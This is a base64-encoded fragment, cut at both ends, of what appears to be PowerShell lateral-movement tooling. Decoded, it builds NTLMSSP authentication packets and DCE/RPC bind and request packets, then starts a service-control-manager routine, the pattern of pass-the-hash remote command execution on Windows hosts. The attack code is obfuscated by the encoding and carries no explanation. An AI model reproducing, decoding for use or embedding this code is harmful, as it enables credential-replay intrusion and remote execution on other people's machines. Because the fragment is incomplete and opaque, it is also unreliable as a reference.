QoIk5UTE1TU1BOZWdvdGlhdGVfVGhpc01lY2hMZW5ndGgiLFtCeXRlW11dKDB4MDYpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfT0lEIixbQnl0ZVtdXSgweDJiLDB4MDYsMHgwMSwweDA1LDB4MDUsMHgwMikpDQogICAgJHBhY2tldF9OVExNU1NQTmVnb3RpYXRlLkFkZCgiTlRMTVNTUE5lZ290aWF0ZV9Jbm5lckNvbnRleHRUb2tlbklEIixbQnl0ZVtdXSgweGEwKSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX0lubmVyQ29udGV4dFRva2VuTGVuZ3RoIiwkcGFja2V0X0FTTl9sZW5ndGhfMikNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX0lubmVyQ29udGV4dFRva2VuSUQyIixbQnl0ZVtdXSgweDMwKSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX0lubmVyQ29udGV4dFRva2VuTGVuZ3RoMiIsJHBhY2tldF9BU05fbGVuZ3RoXzMpDQogICAgJHBhY2tldF9OVExNU1NQTmVnb3RpYXRlLkFkZCgiTlRMTVNTUE5lZ290aWF0ZV9NZWNoVHlwZXNJRCIsW0J5dGVbXV0oMHhhMCkpDQogICAgJHBhY2tldF9OVExNU1NQTmVnb3RpYXRlLkFkZCgiTlRMTVNTUE5lZ290aWF0ZV9NZWNoVHlwZXNMZW5ndGgiLFtCeXRlW11dKDB4MGUpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfTWVjaFR5cGVzSUQyIixbQnl0ZVtdXSgweDMwKSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX01lY2hUeXBlc0xlbmd0aDIiLFtCeXRlW11dKDB4MGMpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfTWVjaFR5cGVzSUQzIixbQnl0ZVtdXSgweDA2KSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX01lY2hUeXBlc0xlbmd0aDMiLFtCeXRlW11dKDB4MGEpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfTWVjaFR5cGUiLFtCeXRlW11dKDB4MmIsMHgwNiwweDAxLDB4MDQsMHgwMSwweDgyLDB4MzcsMHgwMiwweDAyLDB4MGEpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfTWVjaFRva2VuSUQiLFtCeXRlW11dKDB4YTIpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfTWVjaFRva2VuTGVuZ3RoIiwkcGFja2V0X0FTTl9sZW5ndGhfNCkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX05UTE1TU1BJRCIsW0J5dGVbXV0oMHgwNCkpDQogICAgJHBhY2tldF9OVExNU1NQTmVnb3RpYXRlLkFkZCgiTlRMTVNTUE5lZ290aWF0ZV9OVExNU1NQTGVuZ3RoIiwkcGFja2V0X05UTE1TU1BfbGVuZ3RoKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfSWRlbnRpZmllciIsW0J5dGVbXV0oMHg0ZSwweDU0LDB4NGMsMHg0ZCwweDUzLDB4NTMsMHg1MCwweDAwKSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX01lc3NhZ2VUeXBlIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX05lZ290aWF0ZUZsYWdzIiwkcGFja2V0X25lZ290aWF0ZV9mbGFncykNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX0NhbGxpbmdXb3Jrc3RhdGlvbkRvbWFpbiIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX0NhbGxpbmdXb3Jrc3RhdGlvbk5hbWUiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQoNCiAgICBpZigkcGFja2V0X3ZlcnNpb24pDQogICAgew0KICAgICAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX1ZlcnNpb24iLCRwYWNrZXRfdmVyc2lvbikNCiAgICB9DQoNCiAgICByZXR1cm4gJHBhY2tldF9OVExNU1NQTmVnb3RpYXRlDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXROVExNU1NQQXV0aCgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X05UTE1fcmVzcG9uc2UpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfTlRMTVNTUF9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfTlRMTV9yZXNwb25zZS5MZW5ndGgpDQogICAgJHBhY2tldF9OVExNU1NQX2xlbmd0aCA9ICRwYWNrZXRfTlRMTVNTUF9sZW5ndGhbMSwwXQ0KICAgIFtCeXRlW11dJHBhY2tldF9BU05fbGVuZ3RoXzEgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfTlRMTV9yZXNwb25zZS5MZW5ndGggKyAxMikNCiAgICAkcGFja2V0X0FTTl9sZW5ndGhfMSA9ICRwYWNrZXRfQVNOX2xlbmd0aF8xWzEsMF0NCiAgICBbQnl0ZVtdXSRwYWNrZXRfQVNOX2xlbmd0aF8yID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X05UTE1fcmVzcG9uc2UuTGVuZ3RoICsgOCkNCiAgICAkcGFja2V0X0FTTl9sZW5ndGhfMiA9ICRwYWNrZXRfQVNOX2xlbmd0aF8yWzEsMF0NCiAgICBbQnl0ZVtdXSRwYWNrZXRfQVNOX2xlbmd0aF8zID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X05UTE1fcmVzcG9uc2UuTGVuZ3RoICsgNCkNCiAgICAkcGFja2V0X0FTTl9sZW5ndGhfMyA9ICRwYWNrZXRfQVNOX2xlbmd0aF8zWzEsMF0NCg0KICAgICRwYWNrZXRfTlRMTVNTUEF1dGggPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfTlRMTVNTUEF1dGguQWRkKCJOVExNU1NQQXV0aF9BU05JRCIsW0J5dGVbXV0oMHhhMSwweDgyKSkNCiAgICAkcGFja2V0X05UTE1TU1BBdXRoLkFkZCgiTlRMTVNTUEF1dGhfQVNOTGVuZ3RoIiwkcGFja2V0X0FTTl9sZW5ndGhfMSkNCiAgICAkcGFja2V0X05UTE1TU1BBdXRoLkFkZCgiTlRMTVNTUEF1dGhfQVNOSUQyIixbQnl0ZVtdXSgweDMwLDB4ODIpKQ0KICAgICRwYWNrZXRfTlRMTVNTUEF1dGguQWRkKCJOVExNU1NQQXV0aF9BU05MZW5ndGgyIiwkcGFja2V0X0FTTl9sZW5ndGhfMikNCiAgICAkcGFja2V0X05UTE1TU1BBdXRoLkFkZCgiTlRMTVNTUEF1dGhfQVNOSUQzIixbQnl0ZVtdXSgweGEyLDB4ODIpKQ0KICAgICRwYWNrZXRfTlRMTVNTUEF1dGguQWRkKCJOVExNU1NQQXV0aF9BU05MZW5ndGgzIiwkcGFja2V0X0FTTl9sZW5ndGhfMykNCiAgICAkcGFja2V0X05UTE1TU1BBdXRoLkFkZCgiTlRMTVNTUEF1dGhfTlRMTVNTUElEIixbQnl0ZVtdXSgweDA0LDB4ODIpKQ0KICAgICRwYWNrZXRfTlRMTVNTUEF1dGguQWRkKCJOVExNU1NQQXV0aF9OVExNU1NQTGVuZ3RoIiwkcGFja2V0X05UTE1TU1BfbGVuZ3RoKQ0KICAgICRwYWNrZXRfTlRMTVNTUEF1dGguQWRkKCJOVExNU1NQQXV0aF9OVExNUmVzcG9uc2UiLCRwYWNrZXRfTlRMTV9yZXNwb25zZSkNCg0KICAgIHJldHVybiAkcGFja2V0X05UTE1TU1BBdXRoDQp9DQoNCiNSUEMNCg0KZnVuY3Rpb24gR2V0LVBhY2tldFJQQ0JpbmQoKQ0Kew0KICAgIHBhcmFtKFtJbnRdJHBhY2tldF9jYWxsX0lELFtCeXRlW11dJHBhY2tldF9tYXhfZnJhZyxbQnl0ZVtdXSRwYWNrZXRfbnVtX2N0eF9pdGVtcyxbQnl0ZVtdXSRwYWNrZXRfY29udGV4dF9JRCxbQnl0ZVtdXSRwYWNrZXRfVVVJRCxbQnl0ZVtdXSRwYWNrZXRfVVVJRF92ZXJzaW9uKQ0KDQogICAgW0J5dGVbXV0kcGFja2V0X2NhbGxfSURfYnl0ZXMgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfY2FsbF9JRCkNCg0KICAgICRwYWNrZXRfUlBDQmluZCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9WZXJzaW9uIixbQnl0ZVtdXSgweDA1KSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1ZlcnNpb25NaW5vciIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9QYWNrZXRUeXBlIixbQnl0ZVtdXSgweDBiKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1BhY2tldEZsYWdzIixbQnl0ZVtdXSgweDAzKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0RhdGFSZXByZXNlbnRhdGlvbiIsW0J5dGVbXV0oMHgxMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9GcmFnTGVuZ3RoIixbQnl0ZVtdXSgweDQ4LDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aExlbmd0aCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NhbGxJRCIsJHBhY2tldF9jYWxsX0lEX2J5dGVzKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfTWF4WG1pdEZyYWciLFtCeXRlW11dKDB4YjgsMHgxMCkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9NYXhSZWN2RnJhZyIsW0J5dGVbXV0oMHhiOCwweDEwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0Fzc29jR3JvdXAiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfTnVtQ3R4SXRlbXMiLCRwYWNrZXRfbnVtX2N0eF9pdGVtcykNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1Vua25vd24iLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NvbnRleHRJRCIsJHBhY2tldF9jb250ZXh0X0lEKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfTnVtVHJhbnNJdGVtcyIsW0J5dGVbXV0oMHgwMSkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Vbmtub3duMiIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2UiLCRwYWNrZXRfVVVJRCkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZVZlciIsJHBhY2tldF9VVUlEX3ZlcnNpb24pDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2VWZXJNaW5vciIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1RyYW5zZmVyU3ludGF4IixbQnl0ZVtdXSgweDA0LDB4NWQsMHg4OCwweDhhLDB4ZWIsMHgxYywweGM5LDB4MTEsMHg5ZiwweGU4LDB4MDgsMHgwMCwweDJiLDB4MTAsMHg0OCwweDYwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1RyYW5zZmVyU3ludGF4VmVyIixbQnl0ZVtdXSgweDAyLDB4MDAsMHgwMCwweDAwKSkNCg0KICAgIGlmKCRwYWNrZXRfbnVtX2N0eF9pdGVtc1swXSAtZXEgMikNCiAgICB7DQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ29udGV4dElEMiIsW0J5dGVbXV0oMHgwMSwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9OdW1UcmFuc0l0ZW1zMiIsW0J5dGVbXV0oMHgwMSkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVW5rbm93bjMiLFtCeXRlW11dKDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZTIiLFtCeXRlW11dKDB4YzQsMHhmZSwweGZjLDB4OTksMHg2MCwweDUyLDB4MWIsMHgxMCwweGJiLDB4Y2IsMHgwMCwweGFhLDB4MDAsMHgyMSwweDM0LDB4N2EpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZVZlcjIiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlVmVyTWlub3IyIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1RyYW5zZmVyU3ludGF4MiIsW0J5dGVbXV0oMHgyYywweDFjLDB4YjcsMHg2YywweDEyLDB4OTgsMHg0MCwweDQ1LDB4MDMsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXhWZXIyIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICB9DQogICAgZWxzZWlmKCRwYWNrZXRfbnVtX2N0eF9pdGVtc1swXSAtZXEgMykNCiAgICB7DQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ29udGV4dElEMiIsW0J5dGVbXV0oMHgwMSwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9OdW1UcmFuc0l0ZW1zMiIsW0J5dGVbXV0oMHgwMSkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVW5rbm93bjMiLFtCeXRlW11dKDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZTIiLFtCeXRlW11dKDB4NDMsMHgwMSwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweGMwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4NDYpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZVZlcjIiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlVmVyTWlub3IyIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1RyYW5zZmVyU3ludGF4MiIsW0J5dGVbXV0oMHgzMywweDA1LDB4NzEsMHg3MSwweGJhLDB4YmUsMHgzNywweDQ5LDB4ODMsMHgxOSwweGI1LDB4ZGIsMHhlZiwweDljLDB4Y2MsMHgzNikpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXhWZXIyIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Db250ZXh0SUQzIixbQnl0ZVtdXSgweDAyLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX051bVRyYW5zSXRlbXMzIixbQnl0ZVtdXSgweDAxKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Vbmtub3duNCIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlMyIsW0J5dGVbXV0oMHg0MywweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlVmVyMyIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2VWZXJNaW5vcjMiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXgzIixbQnl0ZVtdXSgweDJjLDB4MWMsMHhiNywweDZjLDB4MTIsMHg5OCwweDQwLDB4NDUsMHgwMywweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9UcmFuc2ZlclN5bnRheFZlcjMiLFtCeXRlW11dKDB4MDEsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhUeXBlIixbQnl0ZVtdXSgweDBhKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9BdXRoTGV2ZWwiLFtCeXRlW11dKDB4MDQpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhQYWRMZW5ndGgiLFtCeXRlW11dKDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhSZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ29udGV4dElENCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSWRlbnRpZmllciIsW0J5dGVbXV0oMHg0ZSwweDU0LDB4NGMsMHg0ZCwweDUzLDB4NTMsMHg1MCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9NZXNzYWdlVHlwZSIsW0J5dGVbXV0oMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfTmVnb3RpYXRlRmxhZ3MiLFtCeXRlW11dKDB4OTcsMHg4MiwweDA4LDB4ZTIpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NhbGxpbmdXb3Jrc3RhdGlvbkRvbWFpbiIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9DYWxsaW5nV29ya3N0YXRpb25OYW1lIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX09TVmVyc2lvbiIsW0J5dGVbXV0oMHgwNiwweDAxLDB4YjEsMHgxZCwweDAwLDB4MDAsMHgwMCwweDBmKSkNCiAgICB9DQoNCiAgICBpZigkcGFja2V0X2NhbGxfSUQgLWVxIDMpDQogICAgew0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhUeXBlIixbQnl0ZVtdXSgweDBhKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9BdXRoTGV2ZWwiLFtCeXRlW11dKDB4MDIpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhQYWRMZW5ndGgiLFtCeXRlW11dKDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhSZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ29udGV4dElEMyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSWRlbnRpZmllciIsW0J5dGVbXV0oMHg0ZSwweDU0LDB4NGMsMHg0ZCwweDUzLDB4NTMsMHg1MCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9NZXNzYWdlVHlwZSIsW0J5dGVbXV0oMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfTmVnb3RpYXRlRmxhZ3MiLFtCeXRlW11dKDB4OTcsMHg4MiwweDA4LDB4ZTIpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NhbGxpbmdXb3Jrc3RhdGlvbkRvbWFpbiIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9DYWxsaW5nV29ya3N0YXRpb25OYW1lIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX09TVmVyc2lvbiIsW0J5dGVbXV0oMHgwNiwweDAxLDB4YjEsMHgxZCwweDAwLDB4MDAsMHgwMCwweDBmKSkNCiAgICB9DQoNCiAgICByZXR1cm4gJHBhY2tldF9SUENCaW5kDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRSUENSZXF1ZXN0KCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfZmxhZ3MsW0ludF0kcGFja2V0X3NlcnZpY2VfbGVuZ3RoLFtJbnRdJHBhY2tldF9hdXRoX2xlbmd0aCxbSW50XSRwYWNrZXRfYXV0aF9wYWRkaW5nLFtCeXRlW11dJHBhY2tldF9jYWxsX0lELFtCeXRlW11dJHBhY2tldF9jb250ZXh0X0lELFtCeXRlW11dJHBhY2tldF9vcG51bSxbQnl0ZVtdXSRwYWNrZXRfb2JqZWN0X1VVSUQpDQoNCiAgICBpZigkcGFja2V0X2F1dGhfbGVuZ3RoIC1ndCAwKQ0KICAgIHsNCiAgICAgICAgJHBhY2tldF9mdWxsX2F1dGhfbGVuZ3RoID0gJHBhY2tldF9hdXRoX2xlbmd0aCArICRwYWNrZXRfYXV0aF9wYWRkaW5nICsgOA0KICAgIH0NCg0KICAgIFtCeXRlW11dJHBhY2tldF93cml0ZV9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfc2VydmljZV9sZW5ndGggKyAyNCArICRwYWNrZXRfZnVsbF9hdXRoX2xlbmd0aCArICRwYWNrZXRfb2JqZWN0X1VVSUQuTGVuZ3RoKQ0KICAgIFtCeXRlW11dJHBhY2tldF9mcmFnX2xlbmd0aCA9ICRwYWNrZXRfd3JpdGVfbGVuZ3RoWzAsMV0NCiAgICBbQnl0ZVtdXSRwYWNrZXRfYWxsb2NfaGludCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9zZXJ2aWNlX2xlbmd0aCkNCiAgICBbQnl0ZVtdXSRwYWNrZXRfYXV0aF9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfYXV0aF9sZW5ndGgpDQogICAgJHBhY2tldF9hdXRoX2xlbmd0aCA9ICRwYWNrZXRfYXV0aF9sZW5ndGhbMCwxXQ0KDQogICAgJHBhY2tldF9SUENSZXF1ZXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X1ZlcnNpb24iLFtCeXRlW11dKDB4MDUpKQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfVmVyc2lvbk1pbm9yIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X1BhY2tldFR5cGUiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfUGFja2V0RmxhZ3MiLCRwYWNrZXRfZmxhZ3MpDQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9EYXRhUmVwcmVzZW50YXRpb24iLFtCeXRlW11dKDB4MTAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfRnJhZ0xlbmd0aCIsJHBhY2tldF9mcmFnX2xlbmd0aCkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X0F1dGhMZW5ndGgiLCRwYWNrZXRfYXV0aF9sZW5ndGgpDQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9DYWxsSUQiLCRwYWNrZXRfY2FsbF9JRCkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X0FsbG9jSGludCIsJHBhY2tldF9hbGxvY19oaW50KQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfQ29udGV4dElEIiwkcGFja2V0X2NvbnRleHRfSUQpDQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9PcG51bSIsJHBhY2tldF9vcG51bSkNCg0KICAgIGlmKCRwYWNrZXRfb2JqZWN0X1VVSUQuTGVuZ3RoKQ0KICAgIHsNCiAgICAgICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9PYmplY3RVVUlEIiwkcGFja2V0X29iamVjdF9VVUlEKQ0KICAgIH0NCg0KICAgIHJldHVybiAkcGFja2V0X1JQQ1JlcXVlc3QNCn0NCg0KI1NDTQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U0NNT3BlblNDTWFuYWdlclcoKQ0Kew0